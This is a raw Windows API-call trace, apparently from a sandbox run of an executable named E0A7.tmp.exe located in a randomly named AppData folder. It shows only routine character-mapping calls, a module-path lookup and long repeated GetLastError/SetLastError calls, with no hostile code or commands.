lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xd3\x57\x1c\x8b\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0217.389] GetLastError () returned 0x0 [0217.389] SetLastError (dwErrCode=0x0) [0217.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0217.389] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ訴潛@Ā") returned 256 [0217.389] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ訴潛@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0217.389] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ訴潛@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0217.389] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xd3\x57\x1c\x8b\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0217.390] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x46d238, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\e0a7.tmp.exe")) returned 0x5d [0217.390] GetLastError () returned 0x0 [0217.390] SetLastError (dwErrCode=0x0) [0217.390] GetLastError () returned 0x0 [0217.390] SetLastError (dwErrCode=0x0) [0217.390] GetLastError () returned 0x0 [0217.390] SetLastError (dwErrCode=0x0) [0217.390] GetLastError () returned 0x0 [0217.390] SetLastError (dwErrCode=0x0) [0217.390] GetLastError () returned 0x0 [0217.390] SetLastError (dwErrCode=0x0) [0217.390] GetLastError () returned 0x0 [0217.390] SetLastError (dwErrCode=0x0) [0217.390] GetLastError () returned 0x0 [0217.390] SetLastError (dwErrCode=0x0) [0217.390] GetLastError () returned 0x0 [0217.390] SetLastError (dwErrCode=0x0) [0217.390] GetLastError () returned 0x0 [0217.390] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.391] GetLastError () returned 0x0 [0217.391] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.392] GetLastError () returned 0x0 [0217.392] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.393] GetLastError () returned 0x0 [0217.393] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.394] GetLastError () returned 0x0 [0217.394] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.395] GetLastError () returned 0x0 [0217.395] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.396] SetLastError (dwErrCode=0x0) [0217.396] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.397] SetLastError (dwErrCode=0x0) [0217.397] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.398] SetLastError (dwErrCode=0x0) [0217.398] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x76) returned 0x20219b0 [0217.399] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] GetLastError () returned 0x0 [0217.399] SetLastError (dwErrCode=0x0) [0217.399] GetLastError () returned 0x0 [0217.400] SetLastError (dwErrCode=0x0) [0217.400] GetLastError () returned 0x0 [0217.400] SetLastError (dwErrCode=0x0) [0217.400] GetLastError () returned 0x0 [0217.400] SetLastError (dwErrCode=0x0) [0217.400] GetLastError () returned 0x0 [0217.400] SetLastError (dwErrCode=0x0) [0217.400] GetLastError () returned 0x0 [0217.400] SetLastError (dwErrCode=0x0) [0217.400] GetLastError () returned 0x0 [0217.400] SetLastError (dwErrCode=0x0) [0217.400] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.401] SetLastError (dwErrCode=0x0) [0217.401] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.402] GetLastError () returned 0x0 [0217.402] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.403] SetLastError (dwErrCode=0x0) [0217.403] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.404] SetLastError (dwErrCode=0x0) [0217.404] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.405] SetLastError (dwErrCode=0x0) [0217.405] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) [0217.406] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) [0217.406] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) [0217.406] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) [0217.406] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) [0217.406] GetLastError () returned 0x0 [0217.406] SetLastError (dwErrCode=0x0) 